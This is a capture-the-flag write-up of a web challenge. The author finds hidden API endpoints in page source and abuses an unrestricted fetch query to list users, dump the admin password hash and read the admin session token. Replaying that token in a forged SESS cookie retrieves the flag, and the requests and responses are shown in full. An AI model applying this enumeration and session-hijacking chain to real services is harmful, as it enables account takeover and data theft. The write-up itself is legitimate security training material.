There only functionality presented by the web application, even after logging
in, was **Login** or **Register**. Looking at the source of the page reveals
several other endpoints:

```  
const API_ROOT = ""  
  
const API_LOGIN_ENDPOINT = "/login"  
const API_REGISTER_ENDPOINT = "/register"  
  
const API_V1 = "/api"

const FETCH_OPTIONS = {  
fund_prefix: "fund",  
}

const API_LIST_ENDPOINT = "/list"  
const API_FETCH_ENDPOINT = "/fetch"  
const API_FLAG_ENDPOINT = "/flag"  
const API_FETCH_VALUE_ENDPOINT = "/value?query="  
```

Trying to directly access **/api/flag** returns:

```  
{  
"detail":"Nein!"  
}  
```

Because that would just be to easy.

After registering an account and a successful login, a call to
**/api/fetch/fund** is made which returns:

```  
{  
"pg":0,  
"items": [  
"Kotak Bluechip Fund",  
"UTI Nifty 50 ETF",  
"Franklin Ultra Short Bond Fund",  
"Parag Parikh Long Term Equity Fund",  
"SBI Blue Chip Fund",  
"UTI Nifty Next 50 ETF",  
"Axis Bluechip Fund"  
],  
"last":0  
}  
```

Using the info gathered from the source, we modify the query and see we can
control what is returned, **/api/fetch/fund?query=UTI%20Nifty%20[^0-4][^1-9]**

```  
{  
"pg":0,  
"items":[  
"UTI Nifty 50 ETF",  
"UTI Nifty Next 50 ETF"  
],  
"last":0  
}  
```

If we modify the key passed to **fetch**, we can retrieve additional
information; **/api/fetch/user?query=** returns:

```  
{  
"pg":0,  
"items: [  
"chotsyrian",  
"stablepacked",  
"composerrowdy",  
"passivesecurity",  
"asciiploy",  
"ellarecognised",  
"virgonunney",  
"zealplacid",  
"herringtwentieth",  
"swervewieldable"  
],  
"last":20  
}  
```

A specific user can be queried as well, **/api/fetch/user?query=admin**:

```  
{  
"pg":0,  
"items":[  
"admin"  
],  
"last":0  
}  
```

The **API_FETCH_VALUE_ENDPOINT** can be used to get even more information,
**/api/fetch/user/value?query=admin**:

```  
{  
"key":"admin",  
"value":"{\"username\": \"admin\", \"password_hash\":
\"e0dc2212a4a426f4166c257d53ca7e784db92112b8aa25f37c553b00aae2ca02\",
\"u_type\": \"ADMIN\"}"}  
```

Brute-forcing the **password_hash** could be worthwhile, or it could be a pain
and not viable in a short time frame.

Logging into the application, a **SESS** cookie is set. The application needs
to track sessions somehow; a couple attempts to guess the key for sessions led
to **/api/fetch/cookie/value?query=admin***:

```  
{  
"key":"admin",  
"value":"57442d2a-7aee-4dfc-b096-76a47e9d843f"  
}  
```

Using the new found values in the **SESS** cookie:

```  
GET /api/flag HTTP/1.1  
Host: 192.168.11.22:8000  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: SESS=admin:57442d2a-7aee-4dfc-b096-76a47e9d843f  
Upgrade-Insecure-Requests: 1  
```

The flag is retrieved:

```  
{  
"detail":"evlz{scan_not_keys_is_the_way_to_go}ctf"  
}  
```